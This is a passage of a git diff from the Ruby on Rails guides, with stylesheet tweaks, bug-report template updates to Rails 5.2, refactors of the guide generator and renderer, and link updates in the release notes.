font-weight: normal;
font-size: 0.722em;
@@ -551,8 +567,6 @@ h6 {
font-size: 1.2857em;
padding: 0.125em 0 0.25em 0;
margin-bottom: 0;
- /*background: url(../images/book_icon.gif) no-repeat left top;
- padding: 0.125em 0 0.25em 28px;*/
}
@media screen and (max-width: 480px) {
@@ -629,7 +643,9 @@ div.code_container {
margin: 0.25em 0 1.5em 0;
}
-.note code, .info code, .todo code {border:none; background: none; padding: 0;}
+.note code, .info code, .todo code {
+ background: #fff;
+}
#mainCol ul li {
list-style:none;
@@ -661,10 +677,8 @@ div.code_container {
visibility: hidden;
}
-.clearfix {display: inline-block;}
* html .clearfix {height: 1%;}
.clearfix {display: block;}
-.clear { clear:both; }
/* Same bottom margin for special boxes than for regular paragraphs, this way
intermediate whitespace looks uniform. */
@@ -692,9 +706,6 @@ div.important p, div.caution p, div.warning p, div.note p, div.info p {
/* Foundation v2.1.4 http://foundation.zurb.com */
/* Artfully masterminded by ZURB */
-table th { font-weight: bold; }
-table td, table th { padding: 9px 10px; text-align: left; }
-
/* Mobile */
@media only screen and (max-width: 767px) {
table.responsive { margin-bottom: 0; }
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
index bdc8ec948d..6280422469 100644
--- a/guides/assets/stylesheets/print.css
+++ b/guides/assets/stylesheets/print.css
@@ -4,7 +4,7 @@
/* Modified January 31, 2009
--------------------------------------- */
-body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
+body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
body {
background: #FFF;
diff --git a/guides/assets/stylesheets/responsive-tables.css b/guides/assets/stylesheets/responsive-tables.css
deleted file mode 100644
index f5fbcbf948..0000000000
--- a/guides/assets/stylesheets/responsive-tables.css
+++ /dev/null
@@ -1,50 +0,0 @@
-/* Foundation v2.1.4 http://foundation.zurb.com */
-/* Artfully masterminded by ZURB */
-
-/* --------------------------------------------------
- Table of Contents
------------------------------------------------------
-:: Shared Styles
-:: Page Name 1
-:: Page Name 2
-*/
-
-
-/* -----------------------------------------
- Shared Styles
------------------------------------------ */
-
-table th { font-weight: bold; }
-table td, table th { padding: 9px 10px; text-align: left; }
-
-/* Mobile */
-@media only screen and (max-width: 767px) {
-
- table { margin-bottom: 0; }
-
- .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
- .pinned table { border-right: none; border-left: none; width: 100%; }
- .pinned table th, .pinned table td { white-space: nowrap; }
- .pinned td:last-child { border-bottom: 0; }
-
- div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
- div.table-wrapper div.scrollable table { margin-left: 35%; }
- div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }
-
- table td, table th { position: relative; white-space: nowrap; overflow: hidden; }
- table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; }
-
-}
-
-/* -----------------------------------------
- Page Name 1
------------------------------------------ */
-
-
-
-
-/* -----------------------------------------
- Page Name 2
------------------------------------------ */
-
-
diff --git a/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css
index 89b2ab885a..3dad5124f4 100644
--- a/guides/assets/stylesheets/style.css
+++ b/guides/assets/stylesheets/style.css
@@ -11,3 +11,4 @@ Import advanced style sheet
@import url("reset.css");
@import url("main.css");
+@import url("turbolinks.css");
diff --git a/guides/assets/stylesheets/turbolinks.css b/guides/assets/stylesheets/turbolinks.css
new file mode 100644
index 0000000000..5cb598cef2
--- /dev/null
+++ b/guides/assets/stylesheets/turbolinks.css
@@ -0,0 +1,3 @@
+.turbolinks-progress-bar {
+ background-color: #c52f24;
+}
diff --git a/guides/bug_report_templates/action_controller_gem.rb b/guides/bug_report_templates/action_controller_gem.rb
index 85d698f81b..f339635fb7 100644
--- a/guides/bug_report_templates/action_controller_gem.rb
+++ b/guides/bug_report_templates/action_controller_gem.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,17 +9,19 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
# Activate the gem you are reporting the issue against.
- gem "rails", "5.0.1"
+ gem "rails", "5.2.0"
end
require "rack/test"
require "action_controller/railtie"
class TestApp < Rails::Application
- config.root = File.dirname(__FILE__)
+ config.root = __dir__
config.session_store :cookie_store, key: "cookie_store_key"
- secrets.secret_token = "secret_token"
secrets.secret_key_base = "secret_key_base"
config.logger = Logger.new($stdout)
@@ -38,7 +42,7 @@ end
require "minitest/autorun"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
class BugTest < Minitest::Test
diff --git a/guides/bug_report_templates/action_controller_master.rb b/guides/bug_report_templates/action_controller_master.rb
index 486c7243ad..ffd81c0079 100644
--- a/guides/bug_report_templates/action_controller_master.rb
+++ b/guides/bug_report_templates/action_controller_master.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,14 +9,16 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
gem "rails", github: "rails/rails"
end
require "action_controller/railtie"
class TestApp < Rails::Application
- config.root = File.dirname(__FILE__)
- secrets.secret_token = "secret_token"
+ config.root = __dir__
secrets.secret_key_base = "secret_key_base"
config.logger = Logger.new($stdout)
diff --git a/guides/bug_report_templates/active_job_gem.rb b/guides/bug_report_templates/active_job_gem.rb
index f715caec95..b260f0835b 100644
--- a/guides/bug_report_templates/active_job_gem.rb
+++ b/guides/bug_report_templates/active_job_gem.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,14 +9,17 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
# Activate the gem you are reporting the issue against.
- gem "activejob", "5.0.1"
+ gem "activejob", "5.2.0"
end
require "minitest/autorun"
require "active_job"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
class BuggyJob < ActiveJob::Base
diff --git a/guides/bug_report_templates/active_job_master.rb b/guides/bug_report_templates/active_job_master.rb
index f61518713f..894581da96 100644
--- a/guides/bug_report_templates/active_job_master.rb
+++ b/guides/bug_report_templates/active_job_master.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,13 +9,16 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
gem "rails", github: "rails/rails"
end
require "active_job"
require "minitest/autorun"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
class BuggyJob < ActiveJob::Base
diff --git a/guides/bug_report_templates/active_record_gem.rb b/guides/bug_report_templates/active_record_gem.rb
index 98edcb76b1..5f70dbbe69 100644
--- a/guides/bug_report_templates/active_record_gem.rb
+++ b/guides/bug_report_templates/active_record_gem.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,8 +9,11 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
# Activate the gem you are reporting the issue against.
- gem "activerecord", "5.0.1"
+ gem "activerecord", "5.2.0"
gem "sqlite3"
end
@@ -16,7 +21,7 @@ require "active_record"
require "minitest/autorun"
require "logger"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
# This connection will do for database-independent bug reports.
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
index 7265a671b0..914f04f51a 100644
--- a/guides/bug_report_templates/active_record_master.rb
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,6 +9,9 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
gem "rails", github: "rails/rails"
gem "sqlite3"
end
diff --git a/guides/bug_report_templates/active_record_migrations_gem.rb b/guides/bug_report_templates/active_record_migrations_gem.rb
index ece6ae4f12..7f7359fa78 100644
--- a/guides/bug_report_templates/active_record_migrations_gem.rb
+++ b/guides/bug_report_templates/active_record_migrations_gem.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,8 +9,11 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
# Activate the gem you are reporting the issue against.
- gem "activerecord", "5.0.1"
+ gem "activerecord", "5.2.0"
gem "sqlite3"
end
@@ -16,7 +21,7 @@ require "active_record"
require "minitest/autorun"
require "logger"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
# This connection will do for database-independent bug reports.
@@ -32,7 +37,7 @@ end
class Payment < ActiveRecord::Base
end
-class ChangeAmountToAddScale < ActiveRecord::Migration[5.0]
+class ChangeAmountToAddScale < ActiveRecord::Migration[5.2]
def change
reversible do |dir|
dir.up do
@@ -48,16 +53,14 @@ end
class BugTest < Minitest::Test
def test_migration_up
- migrator = ActiveRecord::Migrator.new(:up, [ChangeAmountToAddScale])
- migrator.run
+ ChangeAmountToAddScale.migrate(:up)
Payment.reset_column_information
assert_equal "decimal(10,2)", Payment.columns.last.sql_type
end
def test_migration_down
- migrator = ActiveRecord::Migrator.new(:down, [ChangeAmountToAddScale])
- migrator.run
+ ChangeAmountToAddScale.migrate(:down)
Payment.reset_column_information
assert_equal "decimal(10,0)", Payment.columns.last.sql_type
diff --git a/guides/bug_report_templates/active_record_migrations_master.rb b/guides/bug_report_templates/active_record_migrations_master.rb
index 13a375d1ba..106d94491c 100644
--- a/guides/bug_report_templates/active_record_migrations_master.rb
+++ b/guides/bug_report_templates/active_record_migrations_master.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,6 +9,9 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
gem "rails", github: "rails/rails"
gem "sqlite3"
end
@@ -15,7 +20,7 @@ require "active_record"
require "minitest/autorun"
require "logger"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
# This connection will do for database-independent bug reports.
@@ -31,7 +36,7 @@ end
class Payment < ActiveRecord::Base
end
-class ChangeAmountToAddScale < ActiveRecord::Migration[5.0]
+class ChangeAmountToAddScale < ActiveRecord::Migration[6.0]
def change
reversible do |dir|
dir.up do
@@ -47,16 +52,14 @@ end
class BugTest < Minitest::Test
def test_migration_up
- migrator = ActiveRecord::Migrator.new(:up, [ChangeAmountToAddScale])
- migrator.run
+ ChangeAmountToAddScale.migrate(:up)
Payment.reset_column_information
assert_equal "decimal(10,2)", Payment.columns.last.sql_type
end
def test_migration_down
- migrator = ActiveRecord::Migrator.new(:down, [ChangeAmountToAddScale])
- migrator.run
+ ChangeAmountToAddScale.migrate(:down)
Payment.reset_column_information
assert_equal "decimal(10,0)", Payment.columns.last.sql_type
diff --git a/guides/bug_report_templates/benchmark.rb b/guides/bug_report_templates/benchmark.rb
index 54433b34dd..046572148b 100644
--- a/guides/bug_report_templates/benchmark.rb
+++ b/guides/bug_report_templates/benchmark.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,6 +9,9 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
gem "rails", github: "rails/rails"
gem "benchmark-ips"
end
diff --git a/guides/bug_report_templates/generic_gem.rb b/guides/bug_report_templates/generic_gem.rb
index fa9f94eea0..aec5bf0577 100644
--- a/guides/bug_report_templates/generic_gem.rb
+++ b/guides/bug_report_templates/generic_gem.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,14 +9,18 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
# Activate the gem you are reporting the issue against.
- gem "activesupport", "5.0.1"
+ gem "activesupport", "5.2.0"
end
+require "active_support"
require "active_support/core_ext/object/blank"
require "minitest/autorun"
-# Ensure backward compatibility with Minitest 4
+# Ensure backward compatibility with minitest 4.
Minitest::Test = MiniTest::Unit::TestCase unless defined?(Minitest::Test)
class BugTest < Minitest::Test
diff --git a/guides/bug_report_templates/generic_master.rb b/guides/bug_report_templates/generic_master.rb
index d3a7ae4ac4..727f428960 100644
--- a/guides/bug_report_templates/generic_master.rb
+++ b/guides/bug_report_templates/generic_master.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
begin
require "bundler/inline"
rescue LoadError => e
@@ -7,6 +9,9 @@ end
gemfile(true) do
source "https://rubygems.org"
+
+ git_source(:github) { |repo| "https://github.com/#{repo}.git" }
+
gem "rails", github: "rails/rails"
end
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
index 0f611c8f2b..f2d4d6f647 100644
--- a/guides/rails_guides.rb
+++ b/guides/rails_guides.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
$:.unshift __dir__
as_lib = File.expand_path("../activesupport/lib", __dir__)
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
index 28164a3cb4..c83538ad48 100644
--- a/guides/rails_guides/generator.rb
+++ b/guides/rails_guides/generator.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
require "set"
require "fileutils"
@@ -73,7 +75,7 @@ module RailsGuides
@output_dir = "#{@guides_dir}/output"
@output_dir += "/kindle" if @kindle
- @source_dir += "/#{@language}" if @language
+ @output_dir += "/#{@language}" if @language
end
def create_output_dir_if_needed
@@ -139,32 +141,34 @@ module RailsGuides
puts "Generating #{guide} as #{output_file}"
layout = @kindle ? "kindle/layout" : "layout"
- File.open(output_path, "w") do |f|
- view = ActionView::Base.new(
- @source_dir,
- edge: @edge,
- version: @version,
- mobi: "kindle/#{mobi}",
- language: @language
- )
- view.extend(Helpers)
-
- if guide =~ /\.(\w+)\.erb$/
- # Generate the special pages like the home.
- # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
- result = view.render(layout: layout, formats: [$1], file: $`)
- else
- body = File.read("#{@source_dir}/#{guide}")
- result = RailsGuides::Markdown.new(
- view: view,
- layout: layout,
- edge: @edge,
- version: @version
- ).render(body)
-
- warn_about_broken_links(result)
- end
+ view = ActionView::Base.new(
+ @source_dir,
+ edge: @edge,
+ version: @version,
+ mobi: "kindle/#{mobi}",
+ language: @language
+ )
+ view.extend(Helpers)
+
+ if guide =~ /\.(\w+)\.erb$/
+ return if %w[_license _welcome layout].include?($`)
+
+ # Generate the special pages like the home.
+ # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+ result = view.render(layout: layout, formats: [$1], file: $`)
+ else
+ body = File.read("#{@source_dir}/#{guide}")
+ result = RailsGuides::Markdown.new(
+ view: view,
+ layout: layout,
+ edge: @edge,
+ version: @version
+ ).render(body)
+
+ warn_about_broken_links(result)
+ end
+ File.open(output_path, "w") do |f|
f.write(result)
end
end
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
index 6f4b0b492c..5ab1388c29 100644
--- a/guides/rails_guides/helpers.rb
+++ b/guides/rails_guides/helpers.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
require "yaml"
module RailsGuides
@@ -15,7 +17,7 @@ module RailsGuides
end
def documents_by_section
- @documents_by_section ||= YAML.load_file(File.expand_path("../../source/#{@lang ? @lang + '/' : ''}documents.yaml", __FILE__))
+ @documents_by_section ||= YAML.load_file(File.expand_path("../source/#{@language ? @language + '/' : ''}documents.yaml", __dir__))
end
def documents_flat
@@ -36,15 +38,6 @@ module RailsGuides
end
end
- def author(name, nick, image = "credits_pic_blank.gif", &block)
- image = "images/#{image}"
-
- result = tag(:img, src: image, class: "left pic", alt: name, width: 91, height: 91)
- result << content_tag(:h3, name)
- result << content_tag(:p, capture(&block))
- content_tag(:div, result, class: "clearfix", id: nick)
- end
-
def code(&block)
c = capture(&block)
content_tag(:code, c)
diff --git a/guides/rails_guides/indexer.rb b/guides/rails_guides/indexer.rb
index c58b6b85a2..c707464cdf 100644
--- a/guides/rails_guides/indexer.rb
+++ b/guides/rails_guides/indexer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
require "active_support/core_ext/object/blank"
require "active_support/core_ext/string/inflections"
diff --git a/guides/rails_guides/kindle.rb b/guides/rails_guides/kindle.rb
index 9536d0bd3b..8a0361ff4c 100644
--- a/guides/rails_guides/kindle.rb
+++ b/guides/rails_guides/kindle.rb
@@ -1,4 +1,5 @@
#!/usr/bin/env ruby
+# frozen_string_literal: true
require "kindlerb"
require "nokogiri"
@@ -34,7 +35,7 @@ module Kindle
def generate_front_matter(html_pages)
frontmatter = []
html_pages.delete_if { |x|
- if x =~ /(toc|welcome|credits|copyright).html/
+ if /(toc|welcome|copyright).html/.match?(x)
frontmatter << x unless x =~ /toc/
true
end
@@ -57,9 +58,9 @@ module Kindle
end
def generate_sections(html_pages)
- FileUtils::rm_rf("sections/")
+ FileUtils.rm_rf("sections/")
html_pages.each_with_index do |page, section_idx|
- FileUtils::mkdir_p("sections/%03d" % section_idx)
+ FileUtils.mkdir_p("sections/%03d" % section_idx)
doc = Nokogiri::HTML(File.open(page))
title = doc.at("title").inner_text.gsub("Ruby on Rails Guides: ", "")
title = page.capitalize.gsub(".html", "") if title.strip == ""
diff --git a/guides/rails_guides/levenshtein.rb b/guides/rails_guides/levenshtein.rb
index 40c6a5c372..2213ef754d 100644
--- a/guides/rails_guides/levenshtein.rb
+++ b/guides/rails_guides/levenshtein.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
module RailsGuides
module Levenshtein
# This code is based directly on the Text gem implementation.
@@ -10,8 +12,8 @@ module RailsGuides
n = s.length
m = t.length
- return m if (0 == n)
- return n if (0 == m)
+ return m if 0 == n
+ return n if 0 == m
d = (0..m).to_a
x = nil
@@ -36,7 +38,7 @@ module RailsGuides
d[m] = x
end
- return x
+ x
end
end
end
diff --git a/guides/rails_guides/markdown.rb b/guides/rails_guides/markdown.rb
index bf2cc82c7c..61b371363e 100644
--- a/guides/rails_guides/markdown.rb
+++ b/guides/rails_guides/markdown.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
require "redcarpet"
require "nokogiri"
require "rails_guides/markdown/renderer"
@@ -67,7 +69,7 @@ module RailsGuides
end
def extract_raw_header_and_body
- if @raw_body =~ /^\-{40,}$/
+ if /^\-{40,}$/.match?(@raw_body)
@raw_header, _, @raw_body = @raw_body.partition(/^\-{40,}$/).map(&:strip)
end
end
@@ -87,7 +89,7 @@ module RailsGuides
hierarchy = []
doc.children.each do |node|
- if node.name =~ /^h[3-6]$/
+ if /^h[3-6]$/.match?(node.name)
case node.name
when "h3"
hierarchy = [node]
@@ -105,6 +107,10 @@ module RailsGuides
node.inner_html = "#{node_index(hierarchy)} #{node.inner_html}"
end
end
+
+ doc.css("h3, h4, h5, h6").each do |node|
+ node.inner_html = "<a class='anchorlink' href='##{node[:id]}'>#{node.inner_html}</a>"
+ end
end.to_html
end
end
diff --git a/guides/rails_guides/markdown/renderer.rb b/guides/rails_guides/markdown/renderer.rb
index 20cbd568c9..8095b8c898 100644
--- a/guides/rails_guides/markdown/renderer.rb
+++ b/guides/rails_guides/markdown/renderer.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
module RailsGuides
class Markdown
class Renderer < Redcarpet::Render::HTML
@@ -33,7 +35,7 @@ HTML
def paragraph(text)
if text =~ %r{^NOTE:\s+Defined\s+in\s+<code>(.*?)</code>\.?$}
%(<div class="note"><p>Defined in <code><a href="#{github_file_url($1)}">#{$1}</a></code>.</p></div>)
- elsif text =~ /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/
+ elsif /^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:]/.match?(text)
convert_notes(text)
elsif text.include?("DO NOT READ THIS FILE ON GITHUB")
elsif text =~ /^\[<sup>(\d+)\]:<\/sup> (.+)$/
@@ -73,7 +75,7 @@ HTML
#
# It is important that we do not eat more than one newline
# because formatting may be wrong otherwise. For example,
- # if a bulleted list follows the first item is not rendered
+ # if a bulleted list follows, the first item is not rendered
# as a list item, but as a paragraph starting with a plain
# asterisk.
body.gsub(/^(TIP|IMPORTANT|CAUTION|WARNING|NOTE|INFO|TODO)[.:](.*?)(\n(?=\n)|\Z)/m) do
@@ -93,22 +95,22 @@ HTML
def github_file_url(file_path)
tree = version || edge
- root = file_path[%r{(.+)/}, 1]
- path = case root
- when "abstract_controller", "action_controller", "action_dispatch"
- "actionpack/lib/#{file_path}"
- when /\A(action|active)_/
- "#{root.sub("_", "")}/lib/#{file_path}"
- else
- file_path
- end
-
+ root = file_path[%r{(\w+)/}, 1]
+ path = \
+ case root
+ when "abstract_controller", "action_controller", "action_dispatch"
+ "actionpack/lib/#{file_path}"
+ when /\A(action|active)_/
+ "#{root.sub("_", "")}/lib/#{file_path}"
+ else
+ file_path
+ end
"https://github.com/rails/rails/tree/#{tree}/#{path}"
end
def api_link(url)
- if url =~ %r{http://api\.rubyonrails\.org/v\d+\.}
+ if %r{http://api\.rubyonrails\.org/v\d+\.}.match?(url)
url
elsif edge
url.sub("api", "edgeapi")
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md
index ac5833e069..78a7c64afc 100644
--- a/guides/source/2_2_release_notes.md
+++ b/guides/source/2_2_release_notes.md
@@ -1,11 +1,11 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 2.2 Release Notes
===============================
Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub.
-Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
+Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](https://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails.
--------------------------------------------------------------------------------
@@ -31,7 +31,7 @@ Along with thread safety, a lot of work has been done to make Rails work well wi
Documentation
-------------
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](https://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
* [Getting Started with Rails](getting_started.html)
* [Rails Database Migrations](active_record_migrations.html)
@@ -57,11 +57,10 @@ rake doc:guides
This will put the guides inside `Rails.root/doc/guides` and you may start surfing straight away by opening `Rails.root/doc/guides/index.html` in your favourite browser.
-* Lead Contributors: [Rails Documentation Team](credits.html)
* Major contributions from [Xavier Noria](http://advogato.org/person/fxn/diary.html) and [Hongli Lai](http://izumi.plan99.net/blog/).
* More information:
* [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide)
- * [Help improve Rails documentation on Git branch](http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
+ * [Help improve Rails documentation on Git branch](https://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch)
Better integration with HTTP : Out of the box ETag support
----------------------------------------------------------
@@ -113,7 +112,7 @@ config.threadsafe!
* More information :
* [Thread safety for your Rails](http://m.onkey.org/2008/10/23/thread-safety-for-your-rails)
- * [Thread safety project announcement](http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
+ * [Thread safety project announcement](https://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core)
* [Q/A: What Thread-safe Rails Means](http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html)
Active Record
@@ -125,7 +124,7 @@ There are two big additions to talk about here: transactional migrations and poo
Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by `rake db:migrate:redo` after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
-* Lead Contributor: [Adam Wiggins](http://adam.heroku.com/)
+* Lead Contributor: [Adam Wiggins](http://about.adamwiggins.com/)
* More information:
* [DDL Transactions](http://adam.heroku.com/past/2008/9/3/ddl_transactions/)
* [A major milestone for DB2 on Rails](http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/)
@@ -391,7 +390,7 @@ You can unpack or install a single gem by specifying `GEM=_gem_name_` on the com
* Lead Contributor: [Matt Jones](https://github.com/al2o3cr)
* More information:
* [What's New in Edge Rails: Gem Dependencies](http://archives.ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies)
- * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/)
+ * [Rails 2.1.2 and 2.2RC1: Update Your RubyGems](https://afreshcup.com/home/2008/10/25/rails-212-and-22rc1-update-your-rubygems)
* [Detailed discussion on Lighthouse](http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128)
### Other Railties Changes
diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md
index 6976848e95..ee9a499953 100644
--- a/guides/source/2_3_release_notes.md
+++ b/guides/source/2_3_release_notes.md
@@ -1,4 +1,4 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.**
Ruby on Rails 2.3 Release Notes
===============================
@@ -10,7 +10,7 @@ Rails 2.3 delivers a variety of new and improved features, including pervasive R
Application Architecture
------------------------
-There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
+There are two major changes in the architecture of Rails applications: complete integration of the [Rack](https://rack.github.io/) modular web server interface, and renewed support for Rails Engines.
### Rack Integration
@@ -52,9 +52,9 @@ After some versions without an upgrade, Rails 2.3 offers some new features for R
Documentation
-------------
-The [Ruby on Rails guides](http://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](http://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
+The [Ruby on Rails guides](https://guides.rubyonrails.org/) project has published several additional guides for Rails 2.3. In addition, a [separate site](https://edgeguides.rubyonrails.org/) maintains updated copies of the Guides for Edge Rails. Other documentation efforts include a relaunch of the [Rails wiki](http://newwiki.rubyonrails.org/) and early planning for a Rails Book.
-* More Information: [Rails Documentation Projects](http://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
+* More Information: [Rails Documentation Projects](https://weblog.rubyonrails.org/2009/1/15/rails-documentation-projects)
Ruby 1.9.1 Support
------------------
@@ -89,7 +89,7 @@ accepts_nested_attributes_for :author,
```
* Lead Contributor: [Eloy Duran](http://superalloy.nl/)
-* More Information: [Nested Model Forms](http://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
+* More Information: [Nested Model Forms](https://weblog.rubyonrails.org/2009/1/26/nested-model-forms)
### Nested Transactions
@@ -231,10 +231,10 @@ Rails chooses between file, template, and action depending on whether there is a
### Application Controller Renamed
-If you're one of the people who has always been bothered by the special-case naming of `application.rb`, rejoice! It's been reworked to be application_controller.rb in Rails 2.3. In addition, there's a new rake task, `rake rails:update:application_controller` to do this automatically for you - and it will be run as part of the normal `rake rails:update` process.
